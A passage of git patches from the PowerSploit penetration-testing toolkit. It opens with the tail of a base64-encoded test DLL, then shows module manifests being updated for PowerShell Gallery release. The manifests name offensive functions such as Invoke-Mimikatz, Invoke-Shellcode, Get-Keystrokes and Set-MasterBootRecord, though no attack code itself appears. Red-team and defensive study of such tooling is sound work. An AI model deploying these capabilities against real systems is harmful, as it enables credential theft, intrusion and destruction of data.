AAP8lYCBAAP8laCBAAP8lcCBAAP8ldCBAADsNGDBAAHUC88PpRAAAAMz/JXggQABVi+z/FRggQABqAaNsM0AA6CMBAAD/dQjoIQEAAIM9bDNAAABZWXUIagHoCQEAAFloCQQAwOgKAQAAWV3DVYvsgewkAwAAahfo/QAAAIXAdAVqAlnNKaNQMUAAiQ1MMUAAiRVIMUAAiR1EMUAAiTVAMUAAiT08MUAAZowVaDFAAGaMDVwxQABmjB04MUAAZowFNDFAAGaMJTAxQABmjC0sMUAAnI8FYDFAAItFAKNUMUAAi0UEo1gxQACNRQijZDFAAIuF3Pz//8cFoDBAAAEAAQChWDFAAKNcMEAAxwVQMEAACQQAwMcFVDBAAAEAAADHBWAwQAABAAAAagRYa8AAx4BkMEAAAgAAAGoEWGvAAIsNGDBAAIlMBfhqBFjB4ACLDRwwQACJTAX4aNAgQADozP7//4vlXcP/JXwgQAD/JYAgQAD/JYQgQAD/JTQgQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC0IgAAwiIAAN4iAADqIgAA/CIAABAjAABsJQAAXCUAAEIlAAAsJQAAFiUAAPwkAADsJAAAgCUAAAAAAACaIwAAriMAALwjAADIIwAA1CMAAN4jAACEIwAA/iMAADAkAAA4JAAAQiQAAFAkAABeJAAAaCQAAHokAACKJAAApCQAALokAADUJAAAeiMAAHIjAABqIwAAWCMAAEgjAAA6IwAALCMAAOojAAAAAAAAAAAAAM8RQAAAAAAAAAAAABYRQADNFUAAyhNAAAAAAAAAAAAAUDBAAKAwQAAlVEVNUCUAAHN0cmNhdF9zAAAAAG50ZGxsAAAAXHRlc3RvdXRwdXQudHh0AEhlbGxvLCB3b3JsZCEgAAAgAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGDBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP7///8AAAAA1P///wAAAAD+////LxNAAEMTQAAAAAAA/v///wAAAADY////AAAAAP7////JFEAA3BRAAAAAAAD+////AAAAAMz///8AAAAA/v///wAAAACmFkAACCIAAAAAAAAAAAAAHiMAAAAgAABEIgAAAAAAAAAAAAAiJAAAPCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAtCIAAMIiAADeIgAA6iIAAPwiAAAQIwAAbCUAAFwlAABCJQAALCUAABYlAAD8JAAA7CQAAIAlAAAAAAAAmiMAAK4jAAC8IwAAyCMAANQjAADeIwAAhCMAAP4jAAAwJAAAOCQAAEIkAABQJAAAXiQAAGgkAAB6JAAAiiQAAKQkAAC6JAAA1CQAAHojAAByIwAAaiMAAFgjAABIIwAAOiMAACwjAADqIwAAAAAAAIgAQ3JlYXRlRmlsZUEAHAFFeHBhbmRFbnZpcm9ubWVudFN0cmluZ3NBACUFV3JpdGVGaWxlAEUCR2V0UHJvY0FkZHJlc3MAABUCR2V0TW9kdWxlSGFuZGxlQQAAUgBDbG9zZUhhbmRsZQBLRVJORUwzMi5kbGwAAGsBX1hjcHRGaWx0ZXIAFwJfYW1zZ19leGl0AAC2AV9fZ2V0bWFpbmFyZ3MA8gFfX3NldF9hcHBfdHlwZQAATgZleGl0AACDAl9leGl0AC8CX2NleGl0AABAAl9jb25maWd0aHJlYWRsb2NhbGUA9AFfX3NldHVzZXJtYXRoZXJyAAANA19pbml0dGVybV9lAAwDX2luaXR0ZXJtALcBX19pbml0ZW52AKICX2Ztb2RlAAA/Al9jb21tb2RlAAA1AT90ZXJtaW5hdGVAQFlBWFhaAKkBX19jcnRTZXRVbmhhbmRsZWRFeGNlcHRpb25GaWx0ZXIAAE1TVkNSMTIwLmRsbAAAlANfbG9jawAEBV91bmxvY2sALgJfY2FsbG9jX2NydACuAV9fZGxsb25leGl0ADoEX29uZXhpdAAUA19pbnZva2Vfd2F0c29uAABDAl9jb250cm9sZnBfcwAAegJfZXhjZXB0X2hhbmRsZXI0X2NvbW1vbgBQAl9jcnRfZGVidWdnZXJfaG9vawAArAFfX2NydFVuaGFuZGxlZEV4Y2VwdGlvbgCrAV9fY3J0VGVybWluYXRlUHJvY2VzcwDqAEVuY29kZVBvaW50ZXIApwNRdWVyeVBlcmZvcm1hbmNlQ291bnRlcgDBAUdldEN1cnJlbnRQcm9jZXNzSWQAxQFHZXRDdXJyZW50VGhyZWFkSWQAAHkCR2V0U3lzdGVtVGltZUFzRmlsZVRpbWUAygBEZWNvZGVQb2ludGVyAAADSXNEZWJ1Z2dlclByZXNlbnQABANJc1Byb2Nlc3NvckZlYXR1cmVQcmVzZW50AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAA/v////////9O5kC7sRm/RAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAABEAQAACjATMB0wIjAnMDAwNzBXMGQwmzCoMLMw7zD/MB4xKjEwMUIxTDFVMV8xZTFuMXQxeTF+MYMxizGQMaIxqjGwMbwxxzHQMdox4THnMewx8TH2MfsxATIJMh0yNzJXMmkycTJ2MnsynTKjMqoyrzK8Mssy0zLbMu8y9TL6MgIzCDMOMxszITMrM0ozUDNaM2AzaTNuM8sz2jPgM0Y0SzRdNHs0jzSVNEA1WzVnNXY1fzWMNbs1wzXPNeA16zXwNfU1DDYbNiE2NDZJNlQ2ajaENo42yjbPNuo27zYwNzY3QTdeN6k3rje+N8Q3yjfQN9Y33DfiN+g3+DcBOAg4GzhTOFk4XzhlOGs4cTh4OH84hjiNOJQ4mziiOKo4sji6OMY4zzjUONo45DjuOP44DjkeOSc5Njk8OUI5SDkAAAAgAAAgAAAAsDC8MMAwxDDQMNQwVDGEMYgxpDGoMcgxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' $WideStrDllBytes32 = [Convert]::FromBase64String($Encoded32BitWStringDll) $StrDllBytes32 = [Convert]::FromBase64String($Encoded32BitStringDll) From 2a8da712b6b7df224dc3665712443cb7e642fc55 Mon Sep 17 00:00:00 2001 From: Matt Graeber Date: Fri, 18 Dec 2015 11:43:40 -0800 Subject: [PATCH 075/296] Updated .psproj to reflect additions/removals --- PowerSploit.pssproj | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/PowerSploit.pssproj b/PowerSploit.pssproj index ea5854c7..f95bcc3a 100644 --- a/PowerSploit.pssproj +++ b/PowerSploit.pssproj @@ -145,6 +145,10 @@ + + + + @@ -153,9 +157,10 @@ + + - @@ -165,6 +170,8 @@ + + @@ -192,6 +199,7 @@ + From 26e0b29e674c407964ea831714c3a3c8b3ea320d Mon Sep 17 00:00:00 2001 From: Matt Graeber Date: Fri, 18 Dec 2015 14:24:11 -0800 Subject: [PATCH 076/296] Added manifest info for the PowerShell Gallery --- PowerSploit.psd1 | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) diff --git a/PowerSploit.psd1 b/PowerSploit.psd1 index 0137fd7a..dd096a5a 100644 --- a/PowerSploit.psd1 +++ b/PowerSploit.psd1 @@ -43,4 +43,21 @@ ModuleList = @( @{ModuleName = 'AntivirusBypass'; ModuleVersion = '1.0.0.0'; GUI @{ModuleName = 'ScriptModification'; ModuleVersion = '1.0.0.0'; GUID = 'a4d86266-b39b-437a-b5bb-d6f99aa6e610'}, @{ModuleName = 'Persistence'; ModuleVersion = '1.0.0.0'; GUID = '633d0f10-a056-41da-869d-6d2f75430195'}, @{ModuleName = 'PrivEsc'; ModuleVersion = '1.0.0.0'; GUID = 'efb2a78f-a069-4bfd-91c2-7c7c0c225f56'} ) + +PrivateData = @{ + + PSData = @{ + + # Tags applied to this module. These help with module discovery in online galleries. + Tags = @('security','pentesting','red team','offense') + + # A URL to the license for this module. + LicenseUri = 'http://www.apache.org/licenses/LICENSE-2.0.html' + + # A URL to the main website for this project. + ProjectUri = 'https://github.com/PowerShellMafia/PowerSploit' + + } + +} } From 29ae830b7331410c507156ba8c8099f77948c783 Mon Sep 17 00:00:00 2001 From: Matt Graeber Date: Fri, 18 Dec 2015 16:17:16 -0800 Subject: [PATCH 077/296] Improved root module manifest for PS Gallery --- PowerSploit.psd1 | 130 ++++++++++++++++++++++++++++++++++++++++++----- 1 file changed, 116 insertions(+), 14 deletions(-) diff --git a/PowerSploit.psd1 b/PowerSploit.psd1 index dd096a5a..10c59f27 100644 --- a/PowerSploit.psd1 +++ b/PowerSploit.psd1 @@ -11,29 +11,131 @@ GUID = '6753b496-d842-40a3-924a-0f09e248640c' # Author of this module Author = 'Matthew Graeber' -# Company or vendor of this module -CompanyName = '' - # Copyright statement for this module Copyright = 'BSD 3-Clause' # Description of the functionality provided by this module -Description = 'PowerSploit Root Module' +Description = 'PowerSploit is a collection of Microsoft PowerShell modules that can be used to aid penetration testers and red team operator during all phases of an engagement.' # Minimum version of the Windows PowerShell engine required by this module PowerShellVersion = '2.0' # Functions to export from this module -FunctionsToExport = '*' - -# Cmdlets to export from this module -CmdletsToExport = '*' - -# Variables to export from this module -VariablesToExport = '' - -# Aliases to export from this module -AliasesToExport = '' +FunctionsToExport = @( + 'Add-NetUser', + 'Add-ObjectAcl', + 'Add-Persistence', + 'Convert-NameToSid', + 'Convert-NT4toCanonical', + 'Convert-SidToName', + 'Copy-ClonedFile', + 'Find-AVSignature', + 'Find-ComputerField', + 'Find-DLLHijack', + 'Find-ForeignGroup', + 'Find-ForeignUser', + 'Find-GPOComputerAdmin', + 'Find-GPOLocation', + 'Find-InterestingFile', + 'Find-LocalAdminAccess', + 'Find-PathHijack', + 'Find-UserField', + 'Get-ADObject', + 'Get-ApplicationHost', + 'Get-CachedRDPConnection', + 'Get-ComputerDetails', + 'Get-ComputerProperty', + 'Get-DFSshare', + 'Get-DomainPolicy', + 'Get-ExploitableSystem', + 'Get-GPPPassword', + 'Get-HttpStatus', + 'Get-Keystrokes', + 'Get-LastLoggedOn', + 'Get-NetComputer', + 'Get-NetDomain', + 'Get-NetDomainController', + 'Get-NetDomainTrust', + 'Get-NetFileServer', + 'Get-NetForest', + 'Get-NetForestCatalog', + 'Get-NetForestDomain', + 'Get-NetForestTrust', + 'Get-NetGPO', + 'Get-NetGPOGroup', + 'Get-NetGroup', + 'Get-NetGroupMember', + 'Get-NetLocalGroup', + 'Get-NetLoggedon', + 'Get-NetOU', + 'Get-NetProcess', + 'Get-NetRDPSession', + 'Get-NetSession', + 'Get-NetShare', + 'Get-NetSite', + 'Get-NetSubnet', + 'Get-NetUser', + 'Get-ObjectAcl', + 'Get-PathAcl', + 'Get-Proxy', + 'Get-RegAlwaysInstallElevated', + 'Get-RegAutoLogon', + 'Get-SecurityPackages', + 'Get-ServiceDetail', + 'Get-ServiceFilePermission', + 'Get-ServicePermission', + 'Get-ServiceUnquoted', + 'Get-TimedScreenshot', + 'Get-UnattendedInstallFile', + 'Get-UserEvent', + 'Get-UserProperty', + 'Get-VaultCredential', + 'Get-VolumeShadowCopy', + 'Get-VulnAutoRun', + 'Get-VulnSchTask', + 'Get-Webconfig', + 'Install-ServiceBinary', + 'Install-SSP', + 'Invoke-ACLScanner', + 'Invoke-AllChecks', + 'Invoke-CheckLocalAdminAccess', + 'Invoke-CredentialInjection', + 'Invoke-DllInjection', + 'Invoke-EnumerateLocalAdmin', + 'Invoke-EventHunter', + 'Invoke-FileFinder', + 'Invoke-MapDomainTrust', + 'Invoke-Mimikatz', + 'Invoke-NinjaCopy', + 'Invoke-Portscan', + 'Invoke-ProcessHunter', + 'Invoke-ReflectivePEInjection', + 'Invoke-ReverseDnsLookup', + 'Invoke-ServiceAbuse', + 'Invoke-ShareFinder', + 'Invoke-Shellcode', + 'Invoke-TokenManipulation', + 'Invoke-UserHunter', + 'Invoke-WmiCommand', + 'Mount-VolumeShadowCopy', + 'New-ElevatedPersistenceOption', + 'New-UserPersistenceOption', + 'New-VolumeShadowCopy', + 'Out-CompressedDll', + 'Out-EncodedCommand', + 'Out-EncryptedScript', + 'Out-Minidump', + 'Remove-Comments', + 'Remove-VolumeShadowCopy', + 'Restore-ServiceBinary', + 'Set-ADObject', + 'Set-CriticalProcess', + 'Set-MacAttribute', + 'Set-MasterBootRecord', + 'Write-HijackDll', + 'Write-ServiceBinary', + 'Write-UserAddMSI' +) # List of all modules packaged with this module. ModuleList = @( @{ModuleName = 'AntivirusBypass'; ModuleVersion = '1.0.0.0'; GUID = '7cf9de61-2bfc-41b4-a397-9d7cf3a8e66b'}, From 9f183e36518176c4299eed5c68b7deac7f4e8025 Mon Sep 17 00:00:00 2001 From: Matt Graeber Date: Fri, 18 Dec 2015 16:28:03 -0800 Subject: [PATCH 078/296] Set all module versions to 3.0 Also cleaned up some module manifest cruft. --- AntivirusBypass/AntivirusBypass.psd1 | 19 ++----- CodeExecution/CodeExecution.psd1 | 57 +------------------- Exfiltration/Exfiltration.psd1 | 17 +----- Mayhem/Mayhem.psd1 | 59 +------------------- Persistence/Persistence.psd1 | 5 +- PowerSploit.psd1 | 17 +++--- Privesc/Privesc.psd1 | 62 +--------------------- Recon/Recon.psd1 | 59 +------------------- ScriptModification/ScriptModification.psd1 | 59 +------------------- 9 files changed, 19 insertions(+), 335 deletions(-) diff --git a/AntivirusBypass/AntivirusBypass.psd1 b/AntivirusBypass/AntivirusBypass.psd1 index 507cfdb2..037f570f 100644 --- a/AntivirusBypass/AntivirusBypass.psd1 +++ b/AntivirusBypass/AntivirusBypass.psd1 @@ -1,9 +1,10 @@ @{ + # Script module or binary module file associated with this manifest. ModuleToProcess = 'AntivirusBypass.psm1' # Version number of this module. -ModuleVersion = '1.0.0.0' +ModuleVersion = '3.0.0.0' # ID used to uniquely identify this module GUID = '7cf9de61-2bfc-41b4-a397-9d7cf3a8e66b' @@ -11,9 +12,6 @@ GUID = '7cf9de61-2bfc-41b4-a397-9d7cf3a8e66b' # Author of this module Author = 'Matthew Graeber' -# Company or vendor of this module -CompanyName = '' - # Copyright statement for this module Copyright = 'BSD 3-Clause' @@ -26,18 +24,7 @@ PowerShellVersion = '2.0' # Functions to export from this module FunctionsToExport = '*' -# Cmdlets to export from this module -CmdletsToExport = '*' - -# Variables to export from this module -VariablesToExport = '' - -# Aliases to export from this module -AliasesToExport = '' - -# List of all modules packaged with this module. -ModuleList = @(@{ModuleName = 'AntivirusBypass'; ModuleVersion = '1.0.0.0'; GUID = '7cf9de61-2bfc-41b4-a397-9d7cf3a8e66b'}) - # List of all files packaged with this module FileList = 'AntivirusBypass.psm1', 'AntivirusBypass.psd1', 'Find-AVSignature.ps1', 'Usage.md' + } diff --git a/CodeExecution/CodeExecution.psd1 b/CodeExecution/CodeExecution.psd1 index 96e9abc6..93c2cd36 100644 --- a/CodeExecution/CodeExecution.psd1 +++ b/CodeExecution/CodeExecution.psd1 @@ -4,7 +4,7 @@ ModuleToProcess = 'CodeExecution.psm1' # Version number of this module. -ModuleVersion = '1.0.0.0' +ModuleVersion = '3.0.0.0' # ID used to uniquely identify this module GUID = 'a8a6780b-e694-4aa4-b28d-646afa66733c' @@ -24,65 +24,10 @@ Description = 'PowerSploit Code Execution Module' # Minimum version of the Windows PowerShell engine required by this module PowerShellVersion = '2.0' -# Name of the Windows PowerShell host required by this module -# PowerShellHostName = '' - -# Minimum version of the Windows PowerShell host required by this module -# PowerShellHostVersion = '' - -# Minimum version of the .NET Framework required by this module -# DotNetFrameworkVersion = '' - -# Minimum version of the common language runtime (CLR) required by this module -# CLRVersion = '' - -# Processor architecture (None, X86, Amd64) required by this module -# ProcessorArchitecture = '' - -# Modules that must be imported into the global environment prior to importing this module -# RequiredModules = @() - -# Assemblies that must be loaded prior to importing this module -# RequiredAssemblies = @() - -# Script files (.ps1) that are run in the caller's environment prior to importing this module. -# ScriptsToProcess = '' - -# Type files (.ps1xml) to be loaded when importing this module -# TypesToProcess = @() - -# Format files (.ps1xml) to be loaded when importing this module -# FormatsToProcess = @() - -# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess -# NestedModules = @() - # Functions to export from this module FunctionsToExport = '*' -# Cmdlets to export from this module -CmdletsToExport = '*' - -# Variables to export from this module -VariablesToExport = '' - -# Aliases to export from this module -AliasesToExport = '' - -# List of all modules packaged with this module. -ModuleList = @(@{ModuleName = 'CodeExecution'; ModuleVersion = '1.0.0.0'; GUID = 'a8a6780b-e694-4aa4-b28d-646afa66733c'}) - # List of all files packaged with this module FileList = 'CodeExecution.psm1', 'CodeExecution.psd1', 'Invoke-Shellcode.ps1', 'Invoke-DllInjection.ps1', 'Invoke-ReflectivePEInjection.ps1', 'Invoke-WmiCommand.ps1', 'Usage.md' - -# Private data to pass to the module specified in RootModule/ModuleToProcess -# PrivateData = '' - -# HelpInfo URI of this module -# HelpInfoURI = '' - -# Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix. -# DefaultCommandPrefix = '' - } diff --git a/Exfiltration/Exfiltration.psd1 b/Exfiltration/Exfiltration.psd1 index 6776b149..da784937 100644 --- a/Exfiltration/Exfiltration.psd1 +++ b/Exfiltration/Exfiltration.psd1 @@ -4,7 +4,7 @@ ModuleToProcess = 'Exfiltration.psm1' # Version number of this module. -ModuleVersion = '1.0.0.0' +ModuleVersion = '3.0.0.0' # ID used to uniquely identify this module GUID = '75dafa99-1402-4e29-b5d4-6c87da2b323a' @@ -12,9 +12,6 @@ GUID = '75dafa99-1402-4e29-b5d4-6c87da2b323a' # Author of this module Author = 'Matthew Graeber' -# Company or vendor of this module -CompanyName = '' - # Copyright statement for this module Copyright = 'BSD 3-Clause' @@ -30,18 +27,6 @@ FormatsToProcess = 'Get-VaultCredential.ps1xml' # Functions to export from this module FunctionsToExport = '*' -# Cmdlets to export from this module -CmdletsToExport = '*' - -# Variables to export from this module -VariablesToExport = '' - -# Aliases to export from this module -AliasesToExport = '' - -# List of all modules packaged with this module. -ModuleList = @(@{ModuleName = 'Exfiltration'; ModuleVersion = '1.0.0.0'; GUID = '75dafa99-1402-4e29-b5d4-6c87da2b323a'}) - # List of all files packaged with this module FileList = 'Exfiltration.psm1', 'Exfiltration.psd1', 'Get-TimedScreenshot.ps1', 'Out-Minidump.ps1', 'Get-Keystrokes.ps1', 'Get-GPPPassword.ps1', 'Usage.md', 'Invoke-Mimikatz.ps1', diff --git a/Mayhem/Mayhem.psd1 b/Mayhem/Mayhem.psd1 index 8eb05668..f28493fd 100644 --- a/Mayhem/Mayhem.psd1 +++ b/Mayhem/Mayhem.psd1 @@ -4,7 +4,7 @@ ModuleToProcess = 'Mayhem.psm1' # Version number of this module. -ModuleVersion = '1.0.0.0' +ModuleVersion = '3.0.0.0' # ID used to uniquely identify this module GUID = 'e65b93ff-63ba-4c38-97f1-bc4fe5a6651c' @@ -12,9 +12,6 @@ GUID = 'e65b93ff-63ba-4c38-97f1-bc4fe5a6651c' # Author of this module Author = 'Matthew Graeber' -# Company or vendor of this module -CompanyName = '' - # Copyright statement for this module Copyright = 'BSD 3-Clause' @@ -24,64 +21,10 @@ Description = 'PowerSploit Mayhem Module' # Minimum version of the Windows PowerShell engine required by this module PowerShellVersion = '2.0' -# Name of the Windows PowerShell host required by this module -# PowerShellHostName = '' - -# Minimum version of the Windows PowerShell host required by this module -# PowerShellHostVersion = '' - -# Minimum version of the .NET Framework required by this module -# DotNetFrameworkVersion = '' - -# Minimum version of the common language runtime (CLR) required by this module -# CLRVersion = '' - -# Processor architecture (None, X86, Amd64) required by this module -# ProcessorArchitecture = '' - -# Modules that must be imported into the global environment prior to importing this module -# RequiredModules = @() - -# Assemblies that must be loaded prior to importing this module -# RequiredAssemblies = @() - -# Script files (.ps1) that are run in the caller's environment prior to importing this module. -# ScriptsToProcess = '' - -# Type files (.ps1xml) to be loaded when importing this module -# TypesToProcess = @() - -# Format files (.ps1xml) to be loaded when importing this module -# FormatsToProcess = @() - -# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess -# NestedModules = @() - # Functions to export from this module FunctionsToExport = '*' -# Cmdlets to export from this module -CmdletsToExport = '*' - -# Variables to export from this module -VariablesToExport = '' - -# Aliases to export from this module -AliasesToExport = '' - -# List of all modules packaged with this module. -ModuleList = @(@{ModuleName = 'Mayhem'; ModuleVersion = '1.0.0.0'; GUID = 'e65b93ff-63ba-4c38-97f1-bc4fe5a6651c'}) - # List of all files packaged with this module FileList = 'Mayhem.psm1', 'Mayhem.psd1', 'Usage.md' -# Private data to pass to the module specified in RootModule/ModuleToProcess -# PrivateData = '' - -# HelpInfo URI of this module -# HelpInfoURI = '' - -# Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix. -# DefaultCommandPrefix = '' - } diff --git a/Persistence/Persistence.psd1 b/Persistence/Persistence.psd1 index e17faf1f..ffcd8755 100644 --- a/Persistence/Persistence.psd1 +++ b/Persistence/Persistence.psd1 @@ -4,7 +4,7 @@ ModuleToProcess = 'Persistence.psm1' # Version number of this module. -ModuleVersion = '1.1.1.0' +ModuleVersion = '3.0.0.0' # ID used to uniquely identify this module GUID = '633d0f10-a056-41da-869d-6d2f75430195' @@ -24,9 +24,6 @@ PowerShellVersion = '2.0' # Functions to export from this module FunctionsToExport = '*' -# Cmdlets to export from this module -CmdletsToExport = '*' - # List of all files packaged with this module FileList = 'Persistence.psm1', 'Persistence.psd1', 'Usage.md' diff --git a/PowerSploit.psd1 b/PowerSploit.psd1 index 10c59f27..bc482e19 100644 --- a/PowerSploit.psd1 +++ b/PowerSploit.psd1 @@ -3,7 +3,7 @@ ModuleToProcess = 'PowerSploit.psm1' # Version number of this module. -ModuleVersion = '1.0.0.0' +ModuleVersion = '3.0.0.0' # ID used to uniquely identify this module GUID = '6753b496-d842-40a3-924a-0f09e248640c' @@ -138,13 +138,13 @@ FunctionsToExport = @( ) # List of all modules packaged with this module. -ModuleList = @( @{ModuleName = 'AntivirusBypass'; ModuleVersion = '1.0.0.0'; GUID = '7cf9de61-2bfc-41b4-a397-9d7cf3a8e66b'}, - @{ModuleName = 'CodeExecution'; ModuleVersion = '1.0.0.0'; GUID = 'a8a6780b-e694-4aa4-b28d-646afa66733c'}, - @{ModuleName = 'Exfiltration'; ModuleVersion = '1.0.0.0'; GUID = '75dafa99-1402-4e29-b5d4-6c87da2b323a'}, - @{ModuleName = 'Recon'; ModuleVersion = '1.0.0.0'; GUID = '7e775ad6-cd3d-4a93-b788-da067274c877'}, - @{ModuleName = 'ScriptModification'; ModuleVersion = '1.0.0.0'; GUID = 'a4d86266-b39b-437a-b5bb-d6f99aa6e610'}, - @{ModuleName = 'Persistence'; ModuleVersion = '1.0.0.0'; GUID = '633d0f10-a056-41da-869d-6d2f75430195'}, - @{ModuleName = 'PrivEsc'; ModuleVersion = '1.0.0.0'; GUID = 'efb2a78f-a069-4bfd-91c2-7c7c0c225f56'} ) +ModuleList = @( @{ModuleName = 'AntivirusBypass'; ModuleVersion = '3.0.0.0'; GUID = '7cf9de61-2bfc-41b4-a397-9d7cf3a8e66b'}, + @{ModuleName = 'CodeExecution'; ModuleVersion = '3.0.0.0'; GUID = 'a8a6780b-e694-4aa4-b28d-646afa66733c'}, + @{ModuleName = 'Exfiltration'; ModuleVersion = '3.0.0.0'; GUID = '75dafa99-1402-4e29-b5d4-6c87da2b323a'}, + @{ModuleName = 'Recon'; ModuleVersion = '3.0.0.0'; GUID = '7e775ad6-cd3d-4a93-b788-da067274c877'}, + @{ModuleName = 'ScriptModification'; ModuleVersion = '3.0.0.0'; GUID = 'a4d86266-b39b-437a-b5bb-d6f99aa6e610'}, + @{ModuleName = 'Persistence'; ModuleVersion = '3.0.0.0'; GUID = '633d0f10-a056-41da-869d-6d2f75430195'}, + @{ModuleName = 'PrivEsc'; ModuleVersion = '3.0.0.0'; GUID = 'efb2a78f-a069-4bfd-91c2-7c7c0c225f56'} ) PrivateData = @{ @@ -162,4 +162,5 @@ PrivateData = @{ } } + } diff --git a/Privesc/Privesc.psd1 b/Privesc/Privesc.psd1 index bca42617..34ebf7bf 100644 --- a/Privesc/Privesc.psd1 +++ b/Privesc/Privesc.psd1 @@ -4,7 +4,7 @@ ModuleToProcess = 'Privesc.psm1' # Version number of this module. -ModuleVersion = '1.0.0.0' +ModuleVersion = '3.0.0.0' # ID used to uniquely identify this module GUID = 'efb2a78f-a069-4bfd-91c2-7c7c0c225f56' @@ -12,9 +12,6 @@ GUID = 'efb2a78f-a069-4bfd-91c2-7c7c0c225f56' # Author of this module Author = 'Will Schroder' -# Company or vendor of this module -CompanyName = '' - # Copyright statement for this module Copyright = 'BSD 3-Clause' @@ -24,39 +21,6 @@ Description = 'PowerSploit Privesc Module' # Minimum version of the Windows PowerShell engine required by this module PowerShellVersion = '2.0' -# Name of the Windows PowerShell host required by this module -# PowerShellHostName = '' - -# Minimum version of the Windows PowerShell host required by this module -# PowerShellHostVersion = '' - -# Minimum version of Microsoft .NET Framework required by this module -# DotNetFrameworkVersion = '' - -# Minimum version of the common language runtime (CLR) required by this module -# CLRVersion = '' - -# Processor architecture (None, X86, Amd64) required by this module -# ProcessorArchitecture = '' - -# Modules that must be imported into the global environment prior to importing this module -# RequiredModules = @() - -# Assemblies that must be loaded prior to importing this module -# RequiredAssemblies = @() - -# Script files (.ps1) that are run in the caller's environment prior to importing this module. -# ScriptsToProcess = @() - -# Type files (.ps1xml) to be loaded when importing this module -# TypesToProcess = @() - -# Format files (.ps1xml) to be loaded when importing this module -# FormatsToProcess = @() - -# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess -# NestedModules = @() - # Functions to export from this module FunctionsToExport = @( 'Get-ServiceUnquoted', @@ -81,32 +45,8 @@ FunctionsToExport = @( 'Invoke-AllChecks' ) -# Cmdlets to export from this module -CmdletsToExport = '*' - -# Variables to export from this module -VariablesToExport = '*' - -# Aliases to export from this module -AliasesToExport = '*' - -# DSC resources to export from this module -# DscResourcesToExport = @() - -# List of all modules packaged with this module -ModuleList = @(@{ModuleName = 'Privesc'; ModuleVersion = '1.0.0.0'; GUID = 'efb2a78f-a069-4bfd-91c2-7c7c0c225f56'}) - # List of all files packaged with this module FileList = 'Privesc.psm1', 'PowerUp.ps1', 'README.md' -# Private data to pass to the module specified in RootModule/ModuleToProcess -# PrivateData = '' - -# HelpInfo URI of this module -# HelpInfoURI = '' - -# Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix. -# DefaultCommandPrefix = '' - } diff --git a/Recon/Recon.psd1 b/Recon/Recon.psd1 index 5a4cfbe3..55f19f73 100644 --- a/Recon/Recon.psd1 +++ b/Recon/Recon.psd1 @@ -4,7 +4,7 @@ ModuleToProcess = 'Recon.psm1' # Version number of this module. -ModuleVersion = '1.0.0.0' +ModuleVersion = '3.0.0.0' # ID used to uniquely identify this module GUID = '7e775ad6-cd3d-4a93-b788-da067274c877' @@ -12,9 +12,6 @@ GUID = '7e775ad6-cd3d-4a93-b788-da067274c877' # Author of this module Author = 'Matthew Graeber', 'Will Schroeder' -# Company or vendor of this module -CompanyName = '' - # Copyright statement for this module Copyright = 'BSD 3-Clause' @@ -24,39 +21,6 @@ Description = 'PowerSploit Reconnaissance Module' # Minimum version of the Windows PowerShell engine required by this module PowerShellVersion = '2.0' -# Name of the Windows PowerShell host required by this module -# PowerShellHostName = '' - -# Minimum version of the Windows PowerShell host required by this module -# PowerShellHostVersion = '' - -# Minimum version of the .NET Framework required by this module -# DotNetFrameworkVersion = '' - -# Minimum version of the common language runtime (CLR) required by this module -# CLRVersion = '' - -# Processor architecture (None, X86, Amd64) required by this module -# ProcessorArchitecture = '' - -# Modules that must be imported into the global environment prior to importing this module -# RequiredModules = @() - -# Assemblies that must be loaded prior to importing this module -# RequiredAssemblies = @() - -# Script files (.ps1) that are run in the caller's environment prior to importing this module. -# 